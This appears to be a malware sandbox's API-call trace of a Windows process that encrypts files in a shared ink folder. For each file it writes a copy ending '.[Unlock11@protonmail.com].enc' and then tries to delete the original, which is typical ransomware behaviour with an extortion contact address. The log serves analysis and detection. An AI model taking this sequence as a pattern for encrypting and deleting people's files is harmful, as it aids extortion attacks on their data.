1 [0122.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0122.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.961] GetCurrentThreadId () returned 0x9b0 [0122.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.962] GetLastError () returned 0x0 [0122.962] GetLastError () returned 0x0 [0122.962] GetLastError () returned 0x0 [0122.962] GetLastError () returned 0x0 [0122.962] GetCurrentThreadId () returned 0x9b0 [0122.962] GetLastError () returned 0x0 [0122.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.962] GetLastError () returned 0x0 [0122.962] GetLastError () returned 0x0 [0122.962] GetLastError () returned 0x0 [0122.963] GetLastError () returned 0x0 [0122.963] GetCurrentThreadId () returned 0x9b0 [0122.963] GetLastError () returned 0x0 [0122.963] GetCurrentThreadId () returned 0x9b0 [0122.963] GetLastError () returned 0x0 [0122.963] GetLastError () returned 0x0 [0122.963] GetLastError () returned 0x0 [0122.963] GetLastError () returned 0x0 [0122.963] GetCurrentThreadId () returned 0x9b0 [0122.963] GetLastError () returned 0x0 [0122.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.964] GetLastError () returned 0x0 [0122.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.964] GetCurrentThreadId () returned 0x9b0 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.964] GetLastError () returned 0x0 [0122.965] GetCurrentThreadId () returned 0x9b0 [0122.965] GetLastError () returned 0x0 [0122.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0122.965] GetLastError () returned 0x0 [0122.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0122.965] GetLastError () returned 0x0 [0122.965] GetLastError () returned 0x0 [0122.965] GetLastError () returned 0x0 [0122.965] GetCurrentThreadId () returned 0x9b0 [0122.965] GetLastError () returned 0x0 [0122.965] GetCurrentThreadId () returned 0x9b0 [0122.966] GetLastError () returned 0x0 [0122.966] GetLastError () returned 0x0 [0122.966] GetLastError () returned 0x0 [0122.966] GetLastError () returned 0x0 [0122.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.966] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b)) returned 1 [0122.966] GetLastError () returned 0x0 [0122.966] GetCurrentThreadId () returned 0x9b0 [0122.966] GetLastError () returned 0x0 [0122.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0122.967] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0122.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0122.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0122.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.967] GetLastError () returned 0x0 [0122.967] GetLastError () returned 0x0 [0122.967] GetLastError () returned 0x0 [0122.967] GetLastError () returned 0x0 [0122.967] GetLastError () returned 0x0 [0122.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.968] GetLastError () returned 0x0 [0122.968] GetLastError () returned 0x0 [0122.968] GetLastError () returned 0x0 [0122.968] GetLastError () returned 0x0 [0122.968] GetLastError () returned 0x0 [0122.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a54e8 | out: hHeap=0x2ad0000) returned 1 [0122.968] GetLastError () returned 0x0 [0122.969] GetLastError () returned 0x0 [0122.969] GetLastError () returned 0x0 [0122.969] GetLastError () returned 0x0 [0122.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69e8 [0122.969] GetLastError () returned 0x0 [0122.969] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.969] GetFileType (hFile=0x39c) returned 0x1 [0122.970] GetLastError () returned 0x0 [0122.970] GetLastError () returned 0x0 [0122.970] GetFileType (hFile=0x39c) returned 0x1 [0122.970] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.970] GetLastError () returned 0x0 [0122.970] GetLastError () returned 0x0 [0122.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0122.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0122.971] GetLastError () returned 0x0 [0122.971] GetLastError () returned 0x0 [0122.971] GetLastError () returned 0x0 [0122.971] GetLastError () returned 0x0 [0122.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b88 [0122.971] GetLastError () returned 0x0 [0122.971] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.972] GetFileType (hFile=0x3ac) returned 0x1 [0122.972] GetLastError () returned 0x0 [0122.972] GetLastError () returned 0x0 [0122.972] GetFileType (hFile=0x3ac) returned 0x1 [0122.972] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.972] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.972] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.972] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.972] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.972] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.973] GetLastError () returned 0x0 [0122.973] GetLastError () returned 0x0 [0122.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b88 | out: hHeap=0x2ad0000) returned 1 [0122.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbb90 | out: hHeap=0x2ad0000) returned 1 [0122.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.973] GetLastError () returned 0x0 [0122.973] GetLastError () returned 0x0 [0122.973] GetLastError () returned 0x0 [0122.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.974] GetLastError () returned 0x0 [0122.974] GetLastError () returned 0x0 [0122.974] GetLastError () returned 0x0 [0122.974] GetLastError () returned 0x0 [0122.990] GetLastError () returned 0x0 [0122.990] GetLastError () returned 0x0 [0122.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.991] GetLastError () returned 0x0 [0122.991] GetLastError () returned 0x0 [0122.991] GetLastError () returned 0x0 [0122.991] GetLastError () returned 0x0 [0122.991] GetLastError () returned 0x0 [0122.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0122.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0122.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0122.991] GetLastError () returned 0x0 [0122.993] GetLastError () returned 0x0 [0122.993] GetLastError () returned 0x0 [0122.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf060 | out: hHeap=0x2ad0000) returned 1 [0122.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fabb8 [0122.994] GetLastError () returned 0x0 [0122.994] GetLastError () returned 0x0 [0122.994] GetLastError () returned 0x0 [0122.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fabb8 | out: hHeap=0x2ad0000) returned 1 [0122.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.994] GetLastError () returned 0x0 [0122.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.994] CloseHandle (hObject=0x3ac) returned 1 [0122.995] GetLastError () returned 0x0 [0122.995] GetCurrentThreadId () returned 0x9b0 [0122.995] GetLastError () returned 0x0 [0122.995] GetLastError () returned 0x0 [0122.995] CloseHandle (hObject=0x39c) returned 1 [0122.995] GetLastError () returned 0x0 [0122.995] GetCurrentThreadId () returned 0x9b0 [0122.995] GetLastError () returned 0x0 [0122.995] GetLastError () returned 0x0 [0122.995] GetLastError () returned 0x0 [0122.996] GetLastError () returned 0x0 [0122.996] GetLastError () returned 0x0 [0122.996] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0 [0122.996] GetLastError () returned 0x5 [0122.996] GetCurrentThreadId () returned 0x9b0 [0122.996] GetLastError () returned 0x5 [0122.996] GetLastError () returned 0x5 [0122.996] GetLastError () returned 0x5 [0122.996] GetLastError () returned 0x5 [0122.997] LocalFree (hMem=0x1053cf0) returned 0x0 [0122.997] GetCurrentThreadId () returned 0x9b0 [0122.997] GetLastError () returned 0x5 [0122.997] GetLastError () returned 0x5 [0122.997] GetLastError () returned 0x5 [0122.997] GetLastError () returned 0x5 [0122.997] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x9bada4*="zh-dayi.xml") returned 0x51 [0122.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.997] GetCurrentThreadId () returned 0x9b0 [0122.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.998] GetLastError () returned 0x0 [0122.998] GetLastError () returned 0x0 [0122.998] GetLastError () returned 0x0 [0122.998] GetLastError () returned 0x0 [0122.998] GetCurrentThreadId () returned 0x9b0 [0122.998] GetLastError () returned 0x0 [0122.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.998] GetCurrentThreadId () returned 0x9b0 [0122.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetCurrentThreadId () returned 0x9b0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetLastError () returned 0x0 [0122.999] GetCurrentThreadId () returned 0x9b0 [0123.000] GetLastError () returned 0x0 [0123.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.000] GetLastError () returned 0x0 [0123.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.000] GetLastError () returned 0x0 [0123.000] GetLastError () returned 0x0 [0123.000] GetLastError () returned 0x0 [0123.000] GetCurrentThreadId () returned 0x9b0 [0123.000] GetLastError () returned 0x0 [0123.000] GetCurrentThreadId () returned 0x9b0 [0123.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a428 [0123.001] GetLastError () returned 0x0 [0123.001] GetLastError () returned 0x0 [0123.001] GetLastError () returned 0x0 [0123.001] GetLastError () returned 0x0 [0123.001] GetCurrentThreadId () returned 0x9b0 [0123.001] GetLastError () returned 0x0 [0123.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0123.001] GetLastError () returned 0x0 [0123.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.001] GetLastError () returned 0x0 [0123.001] GetLastError () returned 0x0 [0123.002] GetLastError () returned 0x0 [0123.002] GetCurrentThreadId () returned 0x9b0 [0123.002] GetLastError () returned 0x0 [0123.002] GetLastError () returned 0x0 [0123.002] GetLastError () returned 0x0 [0123.002] GetLastError () returned 0x0 [0123.002] GetLastError () returned 0x0 [0123.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.002] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b)) returned 1 [0123.002] GetLastError () returned 0x0 [0123.003] GetCurrentThreadId () returned 0x9b0 [0123.003] GetLastError () returned 0x0 [0123.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0123.003] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0123.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0123.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0123.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0123.003] GetCurrentThreadId () returned 0x9b0 [0123.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0123.003] GetLastError () returned 0x0 [0123.003] GetLastError () returned 0x0 [0123.004] GetLastError () returned 0x0 [0123.004] GetLastError () returned 0x0 [0123.004] GetCurrentThreadId () returned 0x9b0 [0123.004] GetLastError () returned 0x0 [0123.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.004] GetCurrentThreadId () returned 0x9b0 [0123.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0123.004] GetLastError () returned 0x0 [0123.004] GetLastError () returned 0x0 [0123.004] GetLastError () returned 0x0 [0123.004] GetLastError () returned 0x0 [0123.005] GetCurrentThreadId () returned 0x9b0 [0123.005] GetLastError () returned 0x0 [0123.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3ae0 | out: hHeap=0x2ad0000) returned 1 [0123.005] GetLastError () returned 0x0 [0123.005] GetLastError () returned 0x0 [0123.005] GetLastError () returned 0x0 [0123.005] GetLastError () returned 0x0 [0123.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0123.006] GetLastError () returned 0x0 [0123.006] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.006] GetFileType (hFile=0x39c) returned 0x1 [0123.006] GetLastError () returned 0x0 [0123.006] GetCurrentThreadId () returned 0x9b0 [0123.006] GetLastError () returned 0x0 [0123.006] GetFileType (hFile=0x39c) returned 0x1 [0123.006] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.006] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.006] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.007] GetLastError () returned 0x0 [0123.007] GetCurrentThreadId () returned 0x9b0 [0123.007] GetLastError () returned 0x0 [0123.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0123.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a38 | out: hHeap=0x2ad0000) returned 1 [0123.007] GetLastError () returned 0x0 [0123.007] GetLastError () returned 0x0 [0123.007] GetLastError () returned 0x0 [0123.008] GetLastError () returned 0x0 [0123.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69c8 [0123.008] GetLastError () returned 0x0 [0123.008] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.014] GetFileType (hFile=0x3ac) returned 0x1 [0123.015] GetLastError () returned 0x0 [0123.015] GetCurrentThreadId () returned 0x9b0 [0123.015] GetLastError () returned 0x0 [0123.015] GetFileType (hFile=0x3ac) returned 0x1 [0123.015] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.015] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.015] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.015] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.015] GetLastError () returned 0x0 [0123.015] GetCurrentThreadId () returned 0x9b0 [0123.016] GetLastError () returned 0x0 [0123.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69c8 | out: hHeap=0x2ad0000) returned 1 [0123.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.016] GetLastError () returned 0x0 [0123.016] GetLastError () returned 0x0 [0123.016] GetCurrentThreadId () returned 0x9b0 [0123.016] GetLastError () returned 0x0 [0123.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.016] GetLastError () returned 0x0 [0123.017] GetLastError () returned 0x0 [0123.017] GetCurrentThreadId () returned 0x9b0 [0123.017] GetLastError () returned 0x0 [0123.017] GetLastError () returned 0x0 [0123.022] GetLastError () returned 0x0 [0123.022] GetCurrentThreadId () returned 0x9b0 [0123.022] GetLastError () returned 0x0 [0123.022] GetCurrentThreadId () returned 0x9b0 [0123.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2b55) returned 0x36f8548 [0123.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b88 [0123.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2b58) returned 0x35bc9f0 [0123.023] GetLastError () returned 0x0 [0123.023] GetLastError () returned 0x0 [0123.023] GetLastError () returned 0x0 [0123.023] GetLastError () returned 0x0 [0123.024] GetCurrentThreadId () returned 0x9b0 [0123.024] GetLastError () returned 0x0 [0123.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0123.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0123.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.024] GetLastError () returned 0x0 [0123.025] GetLastError () returned 0x0 [0123.025] GetCurrentThreadId () returned 0x9b0 [0123.025] GetLastError () returned 0x0 [0123.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf550 | out: hHeap=0x2ad0000) returned 1 [0123.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fb0a8 [0123.026] GetLastError () returned 0x0 [0123.026] GetLastError () returned 0x0 [0123.026] GetCurrentThreadId () returned 0x9b0 [0123.026] GetLastError () returned 0x0 [0123.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fb0a8 | out: hHeap=0x2ad0000) returned 1 [0123.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.026] GetCurrentThreadId () returned 0x9b0 [0123.026] GetLastError () returned 0x0 [0123.026] 